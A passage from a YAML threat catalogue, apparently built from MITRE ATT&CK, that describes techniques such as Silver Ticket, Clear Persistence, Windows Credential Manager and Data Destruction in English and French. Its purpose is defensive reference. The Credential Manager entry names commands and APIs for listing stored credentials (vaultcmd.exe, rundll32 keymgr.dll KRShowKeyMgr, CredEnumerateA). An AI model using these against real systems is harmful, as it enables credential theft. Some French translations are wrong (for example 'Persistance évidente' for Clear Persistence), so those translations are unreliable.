          \ existantes qui peuvent \xEAtre entrav\xE9es, citons le chiffrement, via\
          \ [Weaken Encryption](https://attack.mitre.org/techniques/T1600), l'authentification,\
          \ via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004),\
          \ et les d\xE9fenses p\xE9rim\xE9triques, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).\
          \  L'ajout de nouvelles capacit\xE9s pour les besoins de l'adversaire comprend\
          \ [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop\
          \ Proxy](https://attack.mitre.org/techniques/T1090/003), et [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\
          \nLes adversaires peuvent \xE9galement compromettre des commandes existantes\
          \ dans le syst\xE8me d'exploitation pour produire de faux r\xE9sultats afin\
          \ d'induire les d\xE9fenseurs en erreur.   Lorsque cette m\xE9thode est\
          \ utilis\xE9e en conjonction avec [Downgrade System Image] (https://attack.mitre.org/techniques/T1601/002),\
          \ un exemple de commande syst\xE8me compromise peut inclure la modification\
          \ de la sortie de la commande qui affiche la version du syst\xE8me d'exploitation\
          \ en cours d'ex\xE9cution.  En corrigeant le syst\xE8me d'exploitation,\
          \ l'adversaire peut modifier cette commande pour afficher \xE0 la place\
          \ le num\xE9ro de r\xE9vision original, plus \xE9lev\xE9, qu'il a remplac\xE9\
          \ par la r\xE9trogradation du syst\xE8me. \n\nLorsque le syst\xE8me d'exploitation\
          \ est corrig\xE9 dans le stockage, cela peut \xEAtre r\xE9alis\xE9 soit\
          \ dans le stockage r\xE9sident (g\xE9n\xE9ralement une forme de m\xE9moire\
          \ flash, qui est non volatile), soit via [TFTP Boot] (https://attack.mitre.org/techniques/T1542/005).\
          \ \n\nLorsque la technique est ex\xE9cut\xE9e sur le syst\xE8me d'exploitation\
          \ en cours d'ex\xE9cution dans la m\xE9moire et non sur la copie stock\xE9\
          e, elle ne survit pas aux red\xE9marrages.  Cependant, la modification en\
          \ m\xE9moire vive du syst\xE8me d'exploitation peut \xEAtre combin\xE9e\
          \ avec [ROMMONkit] (https://attack.mitre.org/techniques/T1542/004) pour\
          \ obtenir une persistance.\nhttps://attack.mitre.org/techniques/T1601/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558.002
    ref_id: T1558.002
    name: Silver Ticket
    description: 'Adversaries who have the password hash of a target service account
      (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets,
      also known as silver tickets. Kerberos TGS tickets are also known as service
      tickets.(Citation: ADSecurity Silver Tickets)


      Silver tickets are more limited in scope in than golden tickets in that they
      only enable adversaries to access a particular resource (e.g. MSSQL) and the
      system that hosts the resource; however, unlike golden tickets, adversaries
      with the ability to forge silver tickets are able to create TGS tickets without
      interacting with the Key Distribution Center (KDC), potentially making detection
      more difficult.(Citation: ADSecurity Detecting Forged Tickets)


      Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
      or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

      https://attack.mitre.org/techniques/T1558/002'
    translations:
      fr:
        name: "Billet d\u2019argent"
        description: "Les adversaires qui disposent du hachage de mot de passe d\u2019\
          un compte de service cible (par exemple, SharePoint, MSSQL) peuvent falsifier\
          \ des tickets de service d\u2019octroi de tickets Kerberos (TGS), \xE9galement\
          \ appel\xE9s tickets argent\xE9s. Les billets Kerberos TGS sont \xE9galement\
          \ connus sous le nom de billets de service. (Citation : Billets d\u2019\
          argent ADSecurity)\n\nLes tickets d\u2019argent ont une port\xE9e plus limit\xE9\
          e que les tickets d\u2019or en ce sens qu\u2019ils permettent uniquement\
          \ aux adversaires d\u2019acc\xE9der \xE0 une ressource particuli\xE8re (par\
          \ exemple, MSSQL) et au syst\xE8me qui h\xE9berge la ressource ; Cependant,\
          \ contrairement aux tickets d\u2019or, les adversaires ayant la possibilit\xE9\
          \ de falsifier des tickets d\u2019argent sont en mesure de cr\xE9er des\
          \ tickets TGS sans interagir avec le centre de distribution de cl\xE9s (KDC),\
          \ ce qui peut rendre la d\xE9tection plus difficile. (Citation : ADSecurity\
          \ d\xE9tecte les tickets falsifi\xE9s)\n\nLes hachages de mot de passe pour\
          \ les services cibles peuvent \xEAtre obtenus \xE0 l\u2019aide de [OS Credential\
          \ Dumping](https://attack.mitre.org/techniques/T1003) ou [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\n\
          https://attack.mitre.org/techniques/T1558/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213
    ref_id: T1213
    name: Data from Information Repositories
    description: "Adversaries may leverage information repositories to mine valuable\
      \ information. Information repositories are tools that allow for storage of\
      \ information, typically to facilitate collaboration or information sharing\
      \ between users, and can store a wide variety of data that may aid adversaries\
      \ in further objectives, such as Credential Access, Lateral Movement, or Defense\
      \ Evasion, or direct access to the target information. Adversaries may also\
      \ abuse external sharing features to share sensitive documents with recipients\
      \ outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\
      \ \n\nThe following is a brief list of example information that may hold potential\
      \ value to an adversary and may also be found on an information repository:\n\
      \n* Policies, procedures, and standards\n* Physical / logical network diagrams\n\
      * System architecture diagrams\n* Technical system documentation\n* Testing\
      \ / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\
      \ \n* Work / project schedules\n* Source code snippets\n* Links to network shares\
      \ and other internal resources\n* Contact or other sensitive information about\
      \ business partners and customers, including personally identifiable information\
      \ (PII) \n\nInformation stored in a repository may vary based on the specific\
      \ instance or environment. Specific common information repositories include\
      \ the following:\n\n* Storage services such as IaaS databases, enterprise databases,\
      \ and more specialized platforms such as customer relationship management (CRM)\
      \ databases \n* Collaboration platforms such as SharePoint, Confluence, and\
      \ code repositories\n* Messaging platforms such as Slack and Microsoft Teams\
      \ \n\nIn some cases, information repositories have been improperly secured,\
      \ typically by unintentionally allowing for overly-broad access by all users\
      \ or even public access to unauthenticated users. This is particularly common\
      \ with cloud-native or cloud-hosted services, such as AWS Relational Database\
      \ Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro\
      \ Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)\nhttps://attack.mitre.org/techniques/T1213"
    translations:
      fr:
        name: "Donn\xE9es provenant de r\xE9f\xE9rentiels d\u2019informations"
        description: "Les adversaires peuvent exploiter les r\xE9f\xE9rentiels d\u2019\
          informations pour extraire des informations pr\xE9cieuses. Les r\xE9f\xE9\
          rentiels d\u2019informations sont des outils qui permettent de stocker des\
          \ informations, g\xE9n\xE9ralement pour faciliter la collaboration ou le\
          \ partage d\u2019informations entre utilisateurs, et peuvent stocker une\
          \ grande vari\xE9t\xE9 de donn\xE9es qui peuvent aider les adversaires \xE0\
          \ atteindre d\u2019autres objectifs, tels que l\u2019acc\xE8s aux informations\
          \ d\u2019identification, le mouvement lat\xE9ral ou l\u2019\xE9vasion de\
          \ la d\xE9fense, ou l\u2019acc\xE8s direct aux informations cibles. Les\
          \ adversaires peuvent \xE9galement abuser des fonctionnalit\xE9s de partage\
          \ externe pour partager des documents sensibles avec des destinataires ext\xE9\
          rieurs \xE0 l\u2019organisation (par exemple, [Transf\xE9rer des donn\xE9\
          es vers un compte cloud](https://attack.mitre.org/techniques/T1537)). \n\
          \nVoici une br\xE8ve liste d\u2019exemples d\u2019informations susceptibles\
          \ d\u2019avoir une valeur potentielle pour un adversaire et qui peuvent\
          \ \xE9galement \xEAtre trouv\xE9es dans un r\xE9f\xE9rentiel d\u2019informations\
          \ :\n\n* Politiques, proc\xE9dures et normes\n* Diagrammes de r\xE9seau\
          \ physiques / logiques\n* Diagrammes d\u2019architecture syst\xE8me\n* Documentation\
          \ technique du syst\xE8me\n* R\xE9f\xE9rences de test/d\xE9veloppement (c\u2019\
          est-\xE0-dire, [Informations d\u2019identification non s\xE9curis\xE9es](https://attack.mitre.org/techniques/T1552))\
          \ \n* Calendriers de travaux / projets\n* Extraits de code source\n* Liens\
          \ vers des partages de r\xE9seau et d\u2019autres ressources internes\n\
          * Coordonn\xE9es ou autres informations sensibles sur les partenaires commerciaux\
          \ et les clients, y compris les informations personnellement identifiables\
          \ (PII) \n\nLes informations stock\xE9es dans un r\xE9f\xE9rentiel peuvent\
          \ varier en fonction de l\u2019instance ou de l\u2019environnement sp\xE9\
          cifique. Les r\xE9f\xE9rentiels d\u2019informations courants sp\xE9cifiques\
          \ sont les suivants :\n\n* Services de stockage tels que les bases de donn\xE9\
          es IaaS, les bases de donn\xE9es d\u2019entreprise et les plates-formes\
          \ plus sp\xE9cialis\xE9es telles que les bases de donn\xE9es de gestion\
          \ de la relation client (CRM) \n* Plateformes de collaboration telles que\
          \ SharePoint, Confluence et les r\xE9f\xE9rentiels de code\n* Plateformes\
          \ de messagerie telles que Slack et Microsoft Teams \n\nDans certains cas,\
          \ les r\xE9f\xE9rentiels d\u2019informations ont \xE9t\xE9 mal s\xE9curis\xE9\
          s, g\xE9n\xE9ralement en autorisant involontairement un acc\xE8s trop large\
          \ \xE0 tous les utilisateurs, voire un acc\xE8s public \xE0 des utilisateurs\
          \ non authentifi\xE9s. Cela est particuli\xE8rement courant avec les services\
          \ natifs du cloud ou h\xE9berg\xE9s dans le cloud, tels qu\u2019AWS Relational\
          \ Database Service (RDS), Redis ou ElasticSearch. (R\xE9f\xE9rence : Mitiga)(Citation\
          \ : TrendMicro Exposed Redis 2020)(Citation : Cybernews Reuters Leak 2022)\n\
          https://attack.mitre.org/techniques/T1213"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.009
    ref_id: T1070.009
    name: Clear Persistence
    description: "Adversaries may clear artifacts associated with previously established\
      \ persistence on a host system to remove evidence of their activity. This may\
      \ involve various actions, such as removing services, deleting executables,\
      \ [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File\
      \ Modification](https://attack.mitre.org/techniques/T1647), or other methods\
      \ of cleanup to prevent defenders from collecting evidence of their persistent\
      \ presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts\
      \ previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation:\
      \ Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence\
      \ may also be removed once an adversary\u2019s persistence is executed in order\
      \ to prevent errors with the new instance of the malware.(Citation: NCC Group\
      \ Team9 June 2020)\nhttps://attack.mitre.org/techniques/T1070/009"
    translations:
      fr:
        name: "Persistance \xE9vidente"
        description: "Les adversaires peuvent effacer des artefacts associ\xE9s \xE0\
          \ une persistance pr\xE9c\xE9demment \xE9tablie sur un syst\xE8me h\xF4\
          te pour supprimer les preuves de leur activit\xE9. Cela peut impliquer diverses\
          \ actions, telles que la suppression de services, la suppression d\u2019\
          ex\xE9cutables, [Modifier le registre](https://attack.mitre.org/techniques/T1112),\
          \ [Plist File Modification](https://attack.mitre.org/techniques/T1647),\
          \ ou d\u2019autres m\xE9thodes de nettoyage pour emp\xEAcher les d\xE9fenseurs\
          \ de collecter des preuves de leur pr\xE9sence persistante. (Citation :\
          \ Temp\xEAte de poussi\xE8re Cylance) Les adversaires peuvent \xE9galement\
          \ supprimer des comptes pr\xE9c\xE9demment cr\xE9\xE9s pour maintenir la\
          \ persistance (c\u2019est-\xE0-dire [Cr\xE9er un compte](https://attack.mitre.org/techniques/T1136)).\
          \ (Citation : Talos - Attaque Cisco 2022)\n\nDans certains cas, les artefacts\
          \ de persistance peuvent \xE9galement \xEAtre supprim\xE9s une fois que\
          \ la persistance d\u2019un adversaire est ex\xE9cut\xE9e afin d\u2019\xE9\
          viter les erreurs avec la nouvelle instance du programme malveillant. (R\xE9\
          f\xE9rence : \xC9quipe du Groupe CNC, 9 juin 2020)\nhttps://attack.mitre.org/techniques/T1070/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1555.004
    ref_id: T1555.004
    name: Windows Credential Manager
    description: "Adversaries may acquire credentials from the Windows Credential\
      \ Manager. The Credential Manager stores credentials for signing into websites,\
      \ applications, and/or devices that request authentication through NTLM or Kerberos\
      \ in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft\
      \ Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows\
      \ Credential Manager separates website credentials from application or network\
      \ credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003),\
      \ Internet Explorer and Microsoft Edge website credentials are managed by the\
      \ Credential Manager and are stored in the Web Credentials locker. Application\
      \ and network credentials are stored in the Windows Credentials locker.\n\n\
      Credential Lockers store credentials in encrypted `.vcrd` files, located under\
      \ `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\\
      `. The encryption key can be found in a file named <code>Policy.vpol</code>,\
      \ typically located in the same folder as the credentials.(Citation: passcape\
      \ Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may\
      \ list credentials managed by the Windows Credential Manager through several\
      \ mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that\
      \ can be used to enumerate credentials stored in the Credential Locker through\
      \ a command-line interface. Adversaries may also gather credentials by directly\
      \ reading files located inside of the Credential Lockers. Windows APIs, such\
      \ as <code>CredEnumerateA</code>, may also be absued to list credentials managed\
      \ by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy\
      \ Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from\
      \ credential backups. Credential backups and restorations may be performed by\
      \ running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the\
      \ \u201CBack up...\u201D button on the \u201CStored User Names and Passwords\u201D\
      \ GUI.\n\nPassword recovery tools may also obtain plain text passwords from\
      \ the Credential Manager.(Citation: Malwarebytes The Windows Vault)\nhttps://attack.mitre.org/techniques/T1555/004"
    translations:
      fr:
        name: "Gestionnaire d\u2019informations d\u2019identification Windows"
        description: "Les adversaires peuvent obtenir des informations d\u2019identification\
          \ \xE0 partir du Gestionnaire d\u2019informations d\u2019identification\
          \ Windows. Le Gestionnaire d\u2019informations d\u2019identification stocke\
          \ les informations d\u2019identification pour la connexion \xE0 des sites\
          \ Web, des applications et/ou des appareils qui demandent une authentification\
          \ via NTLM ou Kerberos dans des casiers d\u2019informations d\u2019identification\
          \ (anciennement appel\xE9s coffres-forts Windows). (Citation : Microsoft\
          \ Credential Manager store)(Citation : Microsoft Credential Locker)\n\n\
          Le Gestionnaire d\u2019informations d\u2019identification Windows s\xE9\
          pare les informations d\u2019identification du site Web des informations\
          \ d\u2019identification de l\u2019application ou du r\xE9seau dans deux\
          \ casiers. Dans le cadre de [Informations d\u2019identification des navigateurs\
          \ Web](https://attack.mitre.org/techniques/T1555/003), les informations\
          \ d\u2019identification des sites Web Internet Explorer et Microsoft Edge\
          \ sont g\xE9r\xE9es par le Gestionnaire d\u2019informations d\u2019identification\
          \ et sont stock\xE9es dans le casier Informations d\u2019identification\
          \ Web. Les informations d\u2019identification de l\u2019application et du\
          \ r\xE9seau sont stock\xE9es dans le casier d\u2019informations d\u2019\
          identification Windows.\n\nLes casiers d\u2019informations d\u2019identification\
          \ stockent les informations d\u2019identification dans des fichiers chiffr\xE9\
          s \xAB .vcrd \xBB, situ\xE9s sous \xAB %Systemdrive\_%\\Users\\\\[Nom d\u2019\
          utilisateur]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\'. La cl\xE9\
          \ de chiffrement se trouve dans un fichier nomm\xE9 <code>Policy.vpol</code>,\
          \ qui se trouve g\xE9n\xE9ralement dans le m\xEAme dossier que les informations\
          \ d\u2019identification. (Citation : passcape Windows Vault)(Citation :\
          \ Malwarebytes Le coffre-fort Windows)\n\nLes adversaires peuvent r\xE9\
          pertorier les informations d\u2019identification g\xE9r\xE9es par le Gestionnaire\
          \ d\u2019informations d\u2019identification Windows via plusieurs m\xE9\
          canismes. <code>vaultcmd.exe</code> s\u2019agit d\u2019un ex\xE9cutable\
          \ Windows natif qui peut \xEAtre utilis\xE9 pour \xE9num\xE9rer les informations\
          \ d\u2019identification stock\xE9es dans le casier d\u2019informations d\u2019\
          identification via une interface de ligne de commande. Les adversaires peuvent\
          \ \xE9galement recueillir des informations d\u2019identification en lisant\
          \ directement les fichiers situ\xE9s \xE0 l\u2019int\xE9rieur des casiers\
          \ d\u2019informations d\u2019identification. Les API Windows, telles que\
          \ <code>CredEnumerateA</code>, peuvent \xE9galement \xEAtre supprim\xE9\
          es pour r\xE9pertorier les informations d\u2019identification g\xE9r\xE9\
          es par le gestionnaire d\u2019informations d\u2019identification. (Citation\
          \ : Microsoft CredEnumerate)(Citation : Delpy Mimikatz Crendential Manager)\n\
          \nLes adversaires peuvent \xE9galement obtenir des informations d\u2019\
          identification \xE0 partir de sauvegardes d\u2019informations d\u2019identification.\
          \ Les sauvegardes et restaurations des informations d\u2019identification\
          \ peuvent \xEAtre effectu\xE9es <code>en ex\xE9cutant rundll32.exe keymgr.dll\
          \ KRShowKeyMgr</code>, puis en s\xE9lectionnant l\u2019ic\xF4ne \xAB Sauvegarder...\
          \ sur l\u2019interface graphique \xAB\_Noms d\u2019utilisateur et mots de\
          \ passe enregistr\xE9s\_\xBB.\n\nLes outils de r\xE9cup\xE9ration de mot\
          \ de passe peuvent \xE9galement obtenir des mots de passe en texte brut\
          \ \xE0 partir du gestionnaire d\u2019informations d\u2019identification.\
          \ (Citation : Malwarebytes Le coffre-fort Windows)\nhttps://attack.mitre.org/techniques/T1555/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.010
    ref_id: T1036.010
    name: Masquerade Account Name
    description: "Adversaries may match or approximate the names of legitimate accounts\
      \ to make newly created ones appear benign. This will typically occur during\
      \ [Create Account](https://attack.mitre.org/techniques/T1136), although accounts\
      \ may also be renamed at a later date. This may also coincide with [Account\
      \ Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first\
      \ deletes an account before re-creating one with the same name.(Citation: Huntress\
      \ MOVEit 2023)\n\nOften, adversaries will attempt to masquerade as service accounts,\
      \ such as those associated with legitimate software, data backups, or container\
      \ cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec\
      \ Kubernetes Attack 2023) They may also give accounts generic, trustworthy names,\
      \ such as \u201Cadmin\u201D, \u201Chelp\u201D, or \u201Croot.\u201D(Citation:\
      \ Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account\
      \ names off of those already existing in the system, as a follow-on behavior\
      \ to [Account Discovery](https://attack.mitre.org/techniques/T1087).  \n\nNote\
      \ that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656),\
      \ which describes impersonating specific trusted individuals or organizations,\
      \ rather than user or service account names.\nhttps://attack.mitre.org/techniques/T1036/010"
    translations:
      fr:
        name: Nom du compte Masquerade
        description: "Les adversaires peuvent correspondre ou se rapprocher des noms\
          \ de comptes l\xE9gitimes pour donner l\u2019impression que ceux qui viennent\
          \ d\u2019\xEAtre cr\xE9\xE9s sont inoffensifs. Cela se produit g\xE9n\xE9\
          ralement lors de [Cr\xE9er un compte](https://attack.mitre.org/techniques/T1136),\
          \ bien que les comptes puissent \xE9galement \xEAtre renomm\xE9s \xE0 une\
          \ date ult\xE9rieure. Cela peut \xE9galement co\xEFncider avec la [Suppression\
          \ de l\u2019acc\xE8s au compte](https://attack.mitre.org/techniques/T1531)\
          \ si l\u2019acteur supprime d\u2019abord un compte avant d\u2019en recr\xE9\
          er un portant le m\xEAme nom. (Citation : Huntress MOVEit 2023)\n\nSouvent,\
          \ les adversaires tentent de se faire passer pour des comptes de service,\
          \ tels que ceux associ\xE9s \xE0 des logiciels l\xE9gitimes, des sauvegardes\
          \ de donn\xE9es ou la gestion de clusters de conteneurs. (Citation : Elastic\
          \ CUBA Ransomware 2022)(Citation : Attaque Aquasec Kubernetes 2023) Ils\
          \ peuvent \xE9galement donner aux comptes des noms g\xE9n\xE9riques et fiables,\
          \ tels que \xAB\_admin\_\xBB, \xAB\_help\_\xBB ou \xAB\_root\_\xBB. (Citation\
          \ : Invictus IR Cloud Ransomware 2024) Parfois, les adversaires peuvent\
          \ mod\xE9liser les noms de compte \xE0 partir de ceux qui existent d\xE9\
          j\xE0 dans le syst\xE8me, en tant que comportement de suivi de [D\xE9couverte\
          \ de compte](https://attack.mitre.org/techniques/T1087).  \n\nNotez qu\u2019\
          il s\u2019agit d\u2019une proc\xE9dure distincte de l\u2019emprunt d\u2019\
          identit\xE9 (https://attack.mitre.org/techniques/T1656), qui d\xE9crit l\u2019\
          usurpation de l\u2019identit\xE9 de personnes ou d\u2019organisations de\
          \ confiance sp\xE9cifiques, plut\xF4t que de noms de compte d\u2019utilisateur\
          \ ou de service.\nhttps://attack.mitre.org/techniques/T1036/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1200
    ref_id: T1200
    name: Hardware Additions
    description: 'Adversaries may introduce computer accessories, networking hardware,
      or other computing devices into a system or network that can be used as a vector
      to gain access. Rather than just connecting and distributing payloads via removable
      storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)),
      more robust hardware additions can be used to introduce new functionalities
      and/or features into a system that can then be abused.


      While public references of usage by threat actors are scarce, many red teams/penetration
      testers leverage hardware additions for initial access. Commercial and open
      source products can be leveraged with capabilities such as passive network tapping,
      network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)),
      keystroke injection, kernel memory reading via DMA, addition of new wireless
      access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation:
      Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan
      Pwn March 2012)

      https://attack.mitre.org/techniques/T1200'
    translations:
      fr:
        name: "Ajouts mat\xE9riels"
        description: "Les adversaires peuvent introduire des accessoires informatiques,\
          \ du mat\xE9riel de r\xE9seau ou d\u2019autres p\xE9riph\xE9riques informatiques\
          \ dans un syst\xE8me ou un r\xE9seau qui peuvent \xEAtre utilis\xE9s comme\
          \ vecteur d\u2019acc\xE8s. Plut\xF4t que de se contenter de connecter et\
          \ de distribuer des charges utiles via un stockage amovible (c\u2019est-\xE0\
          -dire [r\xE9plication via un support amovible](https://attack.mitre.org/techniques/T1091)),\
          \ des ajouts mat\xE9riels plus robustes peuvent \xEAtre utilis\xE9s pour\
          \ introduire de nouvelles fonctionnalit\xE9s et/ou caract\xE9ristiques dans\
          \ un syst\xE8me qui peuvent ensuite \xEAtre utilis\xE9es de mani\xE8re abusive.\n\
          \nBien que les r\xE9f\xE9rences publiques \xE0 l\u2019utilisation par les\
          \ acteurs de la menace soient rares, de nombreuses \xE9quipes rouges et\
          \ testeurs d\u2019intrusion exploitent les ajouts de mat\xE9riel pour l\u2019\
          acc\xE8s initial. Les produits commerciaux et open source peuvent \xEAtre\
          \ exploit\xE9s avec des fonctionnalit\xE9s telles que l\u2019\xE9coute passive\
          \ du r\xE9seau, la modification du trafic r\xE9seau (c\u2019est-\xE0-dire\
          \ [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)),\
          \ l\u2019injection de frappe, la lecture de la m\xE9moire du noyau via DMA,\
          \ l\u2019ajout d\u2019un nouvel acc\xE8s sans fil \xE0 un r\xE9seau existant,\
          \ etc. (Citation : Ossmann Star, f\xE9vrier 2011)(Citation : Aleks Weapons\
          \ novembre 2015)(Citation : Frisk DMA ao\xFBt 2016)(R\xE9f\xE9rence : McMillan\
          \ Pwn, mars 2012)\nhttps://attack.mitre.org/techniques/T1200"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505
    ref_id: T1505
    name: Server Software Component
    description: 'Adversaries may abuse legitimate extensible development features
      of servers to establish persistent access to systems. Enterprise server applications
      may include features that allow developers to write and install software or
      scripts to extend the functionality of the main application. Adversaries may
      install malicious components to extend and abuse server applications.(Citation:
      volexity_0day_sophos_FW)

      https://attack.mitre.org/techniques/T1505'
    translations:
      fr:
        name: Composant logiciel serveur
        description: "Les adversaires peuvent abuser des fonctionnalit\xE9s de d\xE9\
          veloppement extensibles l\xE9gitimes des serveurs pour \xE9tablir un acc\xE8\
          s persistant aux syst\xE8mes. Les applications serveur d\u2019entreprise\
          \ peuvent inclure des fonctionnalit\xE9s qui permettent aux d\xE9veloppeurs\
          \ d\u2019\xE9crire et d\u2019installer des logiciels ou des scripts pour\
          \ \xE9tendre les fonctionnalit\xE9s de l\u2019application principale. Les\
          \ adversaires peuvent installer des composants malveillants pour \xE9tendre\
          \ et abuser des applications serveur. (R\xE9f\xE9rence : volexity_0day_sophos_FW)\n\
          https://attack.mitre.org/techniques/T1505"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1485
    ref_id: T1485
    name: Data Destruction
    description: 'Adversaries may destroy data and files on specific systems or in
      large numbers on a network to interrupt availability to systems, services, and
      network resources. Data destruction is likely to render stored data irrecoverable
      by forensic techniques through overwriting files or data on local and remote
      drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation:
      Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit
      42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system
      file deletion commands such as <code>del</code> and <code>rm</code> often only
      remove pointers to files without wiping the contents of the files themselves,
      making the files recoverable by proper forensic methodology. This behavior is
      distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001)
      and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because
      individual files are destroyed rather than sections of a storage disk or the
      disk''s logical structure.


      Adversaries may attempt to overwrite files and directories with randomly generated
      data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation:
      Unit 42 Shamoon3 2018) In some cases politically oriented image files have been
      used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto
      Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)


      To maximize impact on the target organization in operations where network-wide
      availability interruption is the goal, malware designed for destroying data
      may have worm-like features to propagate across a network by leveraging additional
      techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),
      [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows
      Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec
      Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon
      Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer
      2018).


      In cloud environments, adversaries may leverage access to delete cloud storage
      objects, machine images, database instances, and other infrastructure crucial
      to operations to damage an organization or their customers.(Citation: Data Destruction
      - Threat Post)(Citation: DOJ  - Cisco Insider)

      https://attack.mitre.org/techniques/T1485'
    translations:
      fr:
        name: "Destruction des donn\xE9es"
        description: "Les adversaires peuvent d\xE9truire des donn\xE9es et des fichiers\
          \ sur des syst\xE8mes sp\xE9cifiques ou en grand nombre sur un r\xE9seau\
          \ afin d\u2019interrompre la disponibilit\xE9 des syst\xE8mes, des services\
          \ et des ressources r\xE9seau. La destruction des donn\xE9es est susceptible\
          \ de rendre les donn\xE9es stock\xE9es irr\xE9cup\xE9rables par des techniques\
          \ d\u2019investigation en \xE9crasant des fichiers ou des donn\xE9es sur\
          \ des disques locaux et distants. (R\xE9f\xE9rence : Symantec Shamoon 2012)(Citation\
          \ : FireEye Shamoon novembre 2016)(Citation : Palo Alto Shamoon, novembre\
          \ 2016)(Citation : Kaspersky StoneDrill 2017)(Citation : Unit\xE9 42 Shamoon3\
          \ 2018)(Citation : Talos Olympic Destroyer 2018) Les commandes courantes\
          \ de suppression de fichiers du syst\xE8me d\u2019exploitation, telles que\
          \ <code>del</code> et <code>rm</code>, ne suppriment souvent que les pointeurs\
          \ vers les fichiers sans effacer le contenu des fichiers eux-m\xEAmes, ce\
          \ qui rend les fichiers r\xE9cup\xE9rables par une m\xE9thodologie d\u2019\
          investigation appropri\xE9e. Ce comportement est distinct de [Effacement\
          \ du contenu du disque](https://attack.mitre.org/techniques/T1561/001) et\
          \ de [Effacement de la structure du disque](https://attack.mitre.org/techniques/T1561/002),\
          \ car les fichiers individuels sont d\xE9truits plut\xF4t que des sections\
          \ d\u2019un disque de stockage ou de la structure logique du disque.\n\n\
          Les adversaires peuvent tenter d\u2019\xE9craser des fichiers et des r\xE9\
          pertoires contenant des donn\xE9es g\xE9n\xE9r\xE9es de mani\xE8re al\xE9\
          atoire pour les rendre irr\xE9cup\xE9rables. (Citation : Kaspersky StoneDrill\
          \ 2017)(Citation : Unit\xE9 42 Shamoon3 2018) Dans certains cas, des fichiers\
          \ d\u2019images \xE0 orientation politique ont \xE9t\xE9 utilis\xE9s pour\
          \ \xE9craser des donn\xE9es. (Citation : FireEye Shamoon novembre 2016)(Citation\
          \ : Palo Alto Shamoon, novembre 2016)(Citation : Kaspersky StoneDrill 2017)\n\
          \nPour maximiser l\u2019impact sur l\u2019organisation cible dans les op\xE9\
          rations o\xF9 l\u2019objectif est l\u2019interruption de la disponibilit\xE9\
          \ \xE0 l\u2019\xE9chelle du r\xE9seau, les programmes malveillants con\xE7\
          us pour d\xE9truire les donn\xE9es peuvent avoir des fonctionnalit\xE9s\
          \ de type ver pour se propager sur un r\xE9seau en exploitant des techniques\
          \ suppl\xE9mentaires telles que [Comptes valides](https://attack.mitre.org/techniques/T1078),\
          \ [Vidage des informations d\u2019identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ et [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002).\
          \ (R\xE9f\xE9rence : Symantec Shamoon 2012)(Citation : FireEye Shamoon novembre\
          \ 2016)(Citation : Palo Alto Shamoon, novembre 2016)(Citation : Kaspersky\
          \ StoneDrill 2017)(Citation : Talos Olympic Destroyer 2018).\n\nDans les\
          \ environnements cloud, les adversaires peuvent exploiter l\u2019acc\xE8\
          s pour supprimer des objets de stockage cloud, des images de machines, des\
